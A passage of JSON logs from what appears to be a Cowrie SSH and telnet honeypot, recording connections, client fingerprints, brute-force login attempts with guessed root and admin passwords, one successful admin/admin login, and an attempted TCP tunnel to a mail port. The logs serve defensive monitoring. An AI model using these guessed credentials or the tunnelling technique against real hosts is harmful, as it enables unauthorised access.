stp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:15.139234Z","src_ip":"193.228.128.84","session":"610f0c4a5e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cadillac","message":"login attempt [root/cadillac] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:15.446989Z","src_ip":"193.228.128.84","session":"610f0c4a5e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39686,"dst_ip":"159.203.135.109","dst_port":23,"session":"962d2ea65d17","protocol":"telnet","message":"New connection: 135.148.14.151:39686 (159.203.135.109:23) [session: 962d2ea65d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:15.506895Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:16.556275Z","src_ip":"193.228.128.84","session":"610f0c4a5e5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.63543438911438,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:34.792055Z","src_ip":"135.148.14.151","session":"c258b6306794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.89187788963318,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:50.398630Z","src_ip":"135.148.14.151","session":"962d2ea65d17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35204,"dst_ip":"159.203.135.109","dst_port":23,"session":"1de406b5a86a","protocol":"telnet","message":"New connection: 135.148.14.151:35204 (159.203.135.109:23) [session: 1de406b5a86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:06.919672Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":37130,"dst_ip":"10.17.0.5","dst_port":22,"session":"00f5d75cdce9","protocol":"ssh","message":"New connection: 103.173.227.57:37130 (10.17.0.5:22) [session: 00f5d75cdce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:12.028363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:12.041150Z","src_ip":"103.173.227.57","session":"00f5d75cdce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:12.291269Z","src_ip":"103.173.227.57","session":"00f5d75cdce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.225.125.31","src_port":44176,"dst_ip":"10.17.0.5","dst_port":23,"session":"771a68b743a2","protocol":"telnet","message":"New connection: 45.225.125.31:44176 (10.17.0.5:23) [session: 771a68b743a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:12.946095Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:13.036081Z","src_ip":"103.173.227.57","session":"00f5d75cdce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:14.292884Z","src_ip":"103.173.227.57","session":"00f5d75cdce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":35585,"dst_ip":"10.17.0.5","dst_port":22,"session":"5153c92e1fcf","protocol":"ssh","message":"New connection: 193.46.255.86:35585 (10.17.0.5:22) [session: 5153c92e1fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:20.967196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:20.981151Z","src_ip":"193.46.255.86","session":"5153c92e1fcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:21.112579Z","src_ip":"193.46.255.86","session":"5153c92e1fcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"88888888","message":"login attempt [admin/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:21.704465Z","src_ip":"193.46.255.86","session":"5153c92e1fcf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:22.843040Z","src_ip":"193.46.255.86","session":"5153c92e1fcf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"81.19.77.166","dst_port":587,"src_ip":"193.46.255.86","src_port":22,"message":"direct-tcp connection request to 81.19.77.166:587 from 127.0.0.1:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:22.979835Z","session":"5153c92e1fcf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"81.19.77.166","dst_port":587,"data":"b'E'","id":0,"message":"discarded direct-tcp forward request 0 to 81.19.77.166:587 with data b'E'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:23.112623Z","src_ip":"193.46.255.86","session":"5153c92e1fcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:23.247813Z","src_ip":"193.46.255.86","session":"5153c92e1fcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.858995199203491,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:26.804974Z","src_ip":"45.225.125.31","session":"771a68b743a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44598,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7a1d9dd4923","protocol":"telnet","message":"New connection: 135.148.14.151:44598 (159.203.135.109:23) [session: e7a1d9dd4923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:29.195624Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":50122,"dst_ip":"10.17.0.5","dst_port":22,"session":"1094220c47a4","protocol":"ssh","message":"New connection: 51.250.105.222:50122 (10.17.0.5:22) [session: 1094220c47a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:29.990027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:30.001072Z","src_ip":"51.250.105.222","session":"1094220c47a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:30.140050Z","src_ip":"51.250.105.222","session":"1094220c47a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:30.542543Z","src_ip":"51.250.105.222","session":"1094220c47a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:31.677836Z","src_ip":"51.250.105.222","session":"1094220c47a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.13571739196777,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:41.055265Z","src_ip":"135.148.14.151","session":"1de406b5a86a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":53004,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e65412be0e0","protocol":"ssh","message":"New connection: 109.172.54.111:53004 (159.203.135.109:22) [session: 6e65412be0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:43.237420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:43.242811Z","src_ip":"109.172.54.111","session":"6e65412be0e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:43.368482Z","src_ip":"109.172.54.111","session":"6e65412be0e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lkjhgfds","message":"login attempt [root/lkjhgfds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:43.776389Z","src_ip":"109.172.54.111","session":"6e65412be0e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:44.900313Z","src_ip":"109.172.54.111","session":"6e65412be0e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":34834,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f2263472da1","protocol":"ssh","message":"New connection: 103.27.238.116:34834 (159.203.135.109:22) [session: 7f2263472da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:50.944271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:50.949286Z","src_ip":"103.27.238.116","session":"7f2263472da1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":49066,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c36ea3a0738","protocol":"ssh","message":"New connection: 103.27.238.120:49066 (159.203.135.109:22) [session: 4c36ea3a0738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:51.116887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:51.122509Z","src_ip":"103.27.238.120","session":"4c36ea3a0738","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:51.211359Z","src_ip":"103.27.238.116","session":"7f2263472da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:51.397979Z","src_ip":"103.27.238.120","session":"4c36ea3a0738","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"505505","message":"login attempt [root/505505] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:51.994324Z","src_ip":"103.27.238.116","session":"7f2263472da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iphone4s","message":"login attempt [root/iphone4s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:52.224538Z","src_ip":"103.27.238.120","session":"4c36ea3a0738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:53.258540Z","src_ip":"103.27.238.116","session":"7f2263472da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:50:53.501432Z","src_ip":"103.27.238.120","session":"4c36ea3a0738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.3146538734436,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:51:12.509962Z","src_ip":"135.148.14.151","session":"e7a1d9dd4923","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":47258,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a9854d3e31e","protocol":"ssh","message":"New connection: 77.94.47.83:47258 (10.17.0.5:22) [session: 5a9854d3e31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:51:20.203261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:51:20.209297Z","src_ip":"77.94.47.83","session":"5a9854d3e31e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:51:20.321456Z","src_ip":"77.94.47.83","session":"5a9854d3e31e","protocol":"ssh"}
